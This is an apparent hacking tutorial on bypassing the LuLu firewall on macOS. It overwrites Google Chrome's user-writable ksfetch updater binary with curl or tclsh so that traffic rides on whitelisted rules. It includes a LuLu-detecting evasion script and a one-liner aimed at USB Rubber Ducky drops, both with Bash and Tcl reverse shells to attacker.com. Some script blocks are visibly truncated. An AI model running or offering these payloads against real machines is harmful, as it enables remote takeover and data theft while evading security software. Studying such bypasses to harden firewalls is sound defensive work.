Hacking macOS: How to Bypass the LuLu Firewall with Google Chrome Dependencies

How to Bypass the LuLu Firewall with Google Chrome Dependencies

Firewall solutions for macOS aren't impervious to attacks. By taking advantage of web browser dependencies already whitelisted by the firewall, an attacker can exfiltrate data or remotely control a MacBook, iMac, Mac mini, or another computer running macOS (previously known as Mac OS X).

In a recent article, Kody demonstrated how to set up and install LuLu, an open-source firewall solution for macOS. While I had never tried LuLu before now, it always seemed like a reliable and free alternative to Little Snitch. After installing LuLu, I began trying to find a way to bypass its detection system.

Step 1: Install LuLu for the First Time

During the installation, LuLu began to find and whitelist Mac applications already installed in the operating system.

If my system was compromised before installing LuLu, it might miss a suspicious outbound connection and accidentally whitelist the activity. For that reason, I opted not to use that feature. All non-Apple connections would be reported and require user interaction.

I also took a few minutes to remove some whitelisted apps that appeared to be non-essential and minimized the attack surface. If we look at the remaining programs, they're all in protected directories that can't be modified with user privileges (i.e., without root).

Top image: Minimal software whitelisted after installing LuLu. Bottom image: No additional third-party software (e.g., Chrome, Firefox, VLC).

Opening Google Chrome for the first time after installing LuLu, the Chrome Helper process attempted to contact the internet via DNS request.

This activity is allowed in an effort not to break the functionality of the application. Chrome eventually tried to update itself using the ksfetch and GoogleSoftwareUpdateAgent processes. Ksfetch and the update agent are well-known mechanisms of Google Chrome. Both instances were allowed as Chrome may fail to update in the future without them.

Top image: ksfetch. Bottom image: GoogleSoftwareUpdateAgent.

Another look at LuLu's user-specified rules, ksfetch and GoogleSoftwareUpdateAgent can be found as "allowed" in addition to some Apple programs that requested access to the internet.

That's all for setting up LuLu with a single web browser. Any background processes outside of Chrome and its dependencies attempting to contact a remote server are prevented.

Netcat (nc) process prevented from connecting to the attacker's server.

Step 2: Bypass LuLu with Installed Applications

The bypass is made possible due to weak file and directory permissions assigned to some third-party applications installed outside the App Store. Let's have a look at file permissions for the Google Chrome browser, which was installed directly from Google via DMG installer.

~$ ls -l /Applications/

total 0
drwxr-xr-x   3 root       admin    96B Jun 12 03:23 1Password 7.app
drwxr-xr-x@  3 root       wheel    96B Aug 18  2018 Calculator.app
drwxr-xr-x@  3 root       wheel    96B Aug 18  2018 FaceTime.app
drwxr-xr-x@  3 tokyoneon  admin    96B Jun  4 08:50 Google Chrome.app
drwxr-xr-x@  3 root       wheel    96B Aug 18  2018 Home.app
drwxr-xr-x@  3 root       wheel    96B Aug 18  2018 Image Capture.app

Notice the Google Chrome app is owned by the user and not "root" like other applications. And with another look at the ksfetch and GoogleSoftwareUpdateAgent rules in LuLu, we'll notice both of the binaries are in the /Users/$USER/Library/ directory.

In addition to files in the Chrome directory, these binaries can be modified by the user. To be clear, any files in /Users/$USER/Library/ and /Application/Google\ Chrome.app/ are fair game for an attacker and easily modified.

The below command will override ksfetch with curl, which is not whitelisted in the LuLu firewall.

~$ cp /usr/bin/curl /Users/$USER/Library/Google/GoogleSoftwareUpdate/GoogleSoftwareUpdate.bundle/Contents/MacOS/ksfetch

Despite curl not being whitelisted, an attacker can still access the internet this way.

~$ /Users/$USER/Library/Google/GoogleSoftwareUpdate/GoogleSoftwareUpdate.bundle/Contents/MacOS/ksfetch "https://ifconfig.me/all"

remote_host: unavaiable
user_agent: curl/7.54.0
port: 28596
method: GET
mime: */*
via: 1.1 google

Ksfetch is used in this example, but GoogleSoftwareUpdateAgent and Google Chrome itself can be overridden and used to establish connections to a remote server or exfiltrate data. Overriding Chrome will, of course, break the browser's functionalities. But at that point, an attacker would have already exfiltrated sensitive information. With this knowledge, we can set up reverse shell payloads and remotely control the Mac from anywhere.

Step 3: Override Ksfetch with Tclsh

The following example utilizes the tclsh command, which will create an interactive Bash-like shell the attacker can use to execute commands remotely. For good measure, the tclsh binaries and symlinks have been manually blocked in the firewall.

As a low privileged user, the tclsh binary is copied over ksfetch, which completely overrides the file and its functionalities.

~$ cp /usr/bin/tclsh /Users/$USER/Library/Google/GoogleSoftwareUpdate/GoogleSoftwareUpdate.bundle/Contents/MacOS/ksfetch

The tclsh command is invoked by directly calling the ksfetch binary. From this interactive terminal, commands are executed exactly as they would be with a Netcat or Bash shell.

~$ /Users/$USER/Library/Google/GoogleSoftwareUpdate/GoogleSoftwareUpdate.bundle/Contents/MacOS/ksfetch

% ls -la /
total 36
drwxr-xr-x@   2 root  wheel     64 Jun 25 09:57 .PKInstallSandboxManager-SystemSoftware
drwx------    5 root  wheel    160 Jun  5 19:36 .Spotlight-V100
drwxrwxr-x+ 138 root  admin   4416 Jun 25 09:54 Applications
drwxr-xr-x+  70 root  wheel   2240 Jun  5 19:37 Library
drwxr-xr-x@   2 root  wheel     64 Oct  5  2018 Network
drwxr-xr-x@   5 root  wheel    160 Sep 21  2018 System
drwxr-xr-x    6 root  admin    192 May 10 17:34 Users
drwxr-xr-x@   5 root  wheel    160 Jun 25 18:51 Volumes
drwxr-xr-x@  37 root  wheel   1184 May 22 11:14 bin
drwxrwxr-t@   2 root  admin     64 Oct  5  2018 cores
dr-xr-xr-x    3 root  wheel   7834 Jun 25 09:50 dev
lrwxr-xr-x@   1 root  wheel     11 Oct  5  2018 etc -> private/etc
dr-xr-xr-x    2 root  wheel      1 Jun 25 16:57 home
dr-xr-xr-x    2 root  wheel      1 Jun 25 16:57 net
drwxr-xr-x    3 root  wheel     96 Oct  3  2018 opt
drwxr-xr-x    6 root  wheel    192 Jun  5 17:49 private
drwxr-xr-x@  64 root  wheel   2048 May 22 11:14 sbin
lrwxr-xr-x@   1 root  wheel     11 Oct  5  2018 tmp -> private/tmp
drwxr-xr-x@   9 root  wheel    288 Sep 21  2018 usr
lrwxr-xr-x@   1 root  wheel     11 Oct  5  2018 var -> private/var

% uname -a
Darwin User-MacBook.local 18.6.0 Darwin Kernel Version 18.6.0: Thu Apr 25 23:16:27 PDF 2019; root:xnu-4903.261.4~2/RELEASE_X86_64 x86_64

Step 4: Design the Payload with Active Evasion

So, how would an attacker know if the operating system has LuLu installed to begin with? It's possible to enumerate installed security software by performing packet inspection and observing LuLu's auto-updates. However, we'll instead have the payload detect signs of LuLu before executing any commands.

In the below example, background processes are examined with the ps command. As we can see, several processes using the "LuLu" name are active.

~$ ps auxwww | grep -i [l]ulu

root                94   0.3  0.7  4349052  28088   ??  Rs    1:33AM   0:18.59 /Library/Objective-See/LuLu/LuLu.bundle/Contents/MacOS/LuLu
tokyoneon          291   0.0  0.8  4924936  35092   ??  S     1:34AM   0:01.10 /Applications/LuLu.app/Contents/Library/LoginItems/LuLu Helper.app/Contents/MacOS/LuLu Helper

A simple Bash if statement, embedded in an AppleScript, could effectively detect the LuLu process.


if [[ ! "$(/bin/ps auxwww | /usr/bin/grep -i [l]ulu)" ]]; then
    echo "LuLu not found."
    echo "LuLu detected."

A practical script that goes beyond detecting LuLu processes and automatically overrides Google Chrome binaries could appear as follows.


# The `ps` command is used to view active processes and
# locate LuLu running in the background with `grep`.
if [[ ! "$(/bin/ps auxwww | /usr/bin/grep -i [l]ulu)" ]]; then

    # An arbitrary `echo` command. If LuLu is not found the
    # following commands will execute. An example Bash
    # reverse shell is included.
    echo "LuLu not found. Hack the planet!"
    /bin/bash -i >& /dev/tcp/attacker.com/443 0>&1
    # Arbitrary `echo` command with sad face.
    echo "Lulu detected :("

    # Copy the `tclsh` binary over `ksfetch`.
    /bin/cp /usr/bin/tclsh /Users/$USER/Library/Google/GoogleSoftwareUpdate/GoogleSoftwareUpdate.bundle/Contents/MacOS/ksfetch

    # TCL reverse shell, covered in the below article.
    # https://null-byte.com/tcl-0186330/
    echo 'set s [socket attacker.com 443];while 42 { puts -nonewline $s "hacker> ";flush $s;gets $s c;set e "exec $c";if {![catch {set r [eval $e]} err]} { puts $s $r }; flush $s; }; close $s;' | /Users/$USER/Library/Google/GoogleSoftwareUpdate/GoogleSoftwareUpdate.bundle/Contents/MacOS/ksfetch &

    # Another `echo` command.
    echo "Bypass LuLu and hack the planet!"

The script can be condensed into one line to function nicely with trojanized AppleScripts, Mousejack attacks, USB dead drops, and USB Rubber Ducky payloads.

if [[ ! "$(/bin/ps auxwww | /usr/bin/grep -i [l]ulu)" ]]; then /bin/bash -i >& /dev/tcp/attacker.com/443 0>&1; else /bin/cp /usr/bin/tclsh /Users/$USER/Library/Google/GoogleSoftwareUpdate/GoogleSoftwareUpdate.bundle/Contents/MacOS/ksfetch && echo 'set s [socket attacker.com 443];while 42 { puts -nonewline $s "hacker> ";flush $s;gets $s c;set e "exec $c";if {![catch {set r [eval $e]} err]} { puts $s $r }; flush $s; }; close $s;' | /Users/$USER/Library/Google/GoogleSoftwareUpdate/GoogleSoftwareUpdate.bundle/Contents/MacOS/ksfetch & fi

If Chrome isn't installed on the target system, a different dependency of an alternate browser is enumerable with some effort. Discovering the installed browser(s) could appear as shown below.


if [[ ! "$(/bin/ps auxwww | /usr/bin/grep -i [l]ulu)" ]]; then
    echo "LuLu not found."
    echo "LuLu detected."
    if [[ -d "/Applications/Google Chrome.app/" ]]; then
        echo "Chrome browser detected. Overriding Ksfetch..."
    elif [[ -d "/Applications/Firefox.app/" ]]; then
        echo "Firefox detected. Overriding <unknown>..."
    elif [[ -d "/Applications/Opera.app/" ]]; then
        echo "Opera detected. Overriding <unknown>..."
        echo "Uh-oh, we're out of browsers to exploit..."

Identify Inconsistencies with the Bypass

LuLu would allow ksfetch (tclsh) access the internet with most attempts, but not always. On one occasion, I found rebooting the MacBook caused the bypass to fail and trigger LuLu's detection system even though ksfetch and other Chrome binaries were whitelisted.

I didn't get to spend a ton of time with LuLu but encourage anyone interested in this attack to figure out when and why it would sometimes stop whitelisted processes.

No Security Software Is Perfect

This article is not meant to be an attack on LuLu's developers. It merely illustrates how security software is not perfect, and no system is fully protected while using it.

LuLu is a fantastic firewall solution designed to prevent passive and common attacks. Like most software, it's not designed to withstand a targeted attack involving active evasion. Does this mean we should stop using LuLu and other security solutions? Absolutely not. While this flaw is easily replicated and not considered a significant vulnerability, firewall software like LuLu can still prevent attacks. With an established tclsh connection, for example, the attacker is limited to a few built-in tools that aren't whitelisted in the firewall. Downloading additional software or exfiltrating data is that much more difficult, thanks to LuLu.

If you enjoyed this article, follow me on Twitter @tokyoneon_ as I plan to share bypasses for more security software in the future. For questions and concerns, leave a comment or message me on Twitter.

Just updated your iPhone? You'll find new features for Podcasts, News, Books, and TV, as well as important security improvements and fresh wallpapers. Find out what's new and changed on your iPhone with the iOS 17.5 update.

Cover photo and screenshots by tokyoneon/Null Byte

Be the First to Comment

Share Your Thoughts

  • Hot
  • Latest